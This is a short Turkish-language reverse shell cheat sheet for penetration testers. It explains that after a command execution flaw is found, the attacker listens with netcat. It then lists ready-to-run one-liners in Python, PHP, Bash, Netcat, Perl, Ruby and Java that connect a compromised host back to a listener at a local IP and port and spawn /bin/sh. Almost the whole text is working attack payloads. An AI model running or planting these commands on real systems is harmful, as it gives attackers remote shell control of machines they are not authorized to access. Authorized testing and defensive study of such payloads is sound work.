REVERSE SHELL CHEAT SHEET
REVERSE SHELL NEDİR?
-Ele geçirilen sunucu; netcat, python, perl, php vb. gibi betik dilleri ile yazılmış scriptler ile saldırganın bilgisayarının dinlemede olduğu bir portuna bağlantı talebi gerçekleştirmesine dayanmaktadır.
-Bir sızma testi esnasında açıkları tararken hedef sistemde bir Command Execution (komut yürütme açığı) zafiyeti keşfedersek orada bir shell almayı isteyeceğiz. TCP portuna bağlanarak shell almak istediğimizde çalıştırabileceğimiz komutlar hedef sistemde çalışan betik dilleri ile sınırlıdır. Reverse Shell almak istediğimizde öncelikle hedef sistemi Netcat ile dinlemeye alacağız.
–nc -lvp (port) komutunu vererek istek yapacağımız port ile hedef sistemi dinlemeye alacağız.
Daha sonra aşağıdaki örnek ile shell almayı deneyeceğiz.
NOT: Aşağıdaki örneklerde 192.168.138.15 local IP ve 2727 dinleyeceğimiz local portumuz.
PYTHON
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",2727));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
php -r '$sock=fsockopen("192.168.138.15",2727);exec("/bin/sh -i <&3 >&3 2>&3");'
BASH
bash -i >& /dev/tcp/192.168.138.15/2727 0>&1
NETCAT
nc -e /bin/sh 192.168.138.15 2727
PERL
perl -e 'use Socket;$i="192.168.138.15";$p=2727;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
RUBY
ruby -rsocket -e'f=TCPSocket.open("192.168.138.15",2727).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
JAVA
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.138.15/2727;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()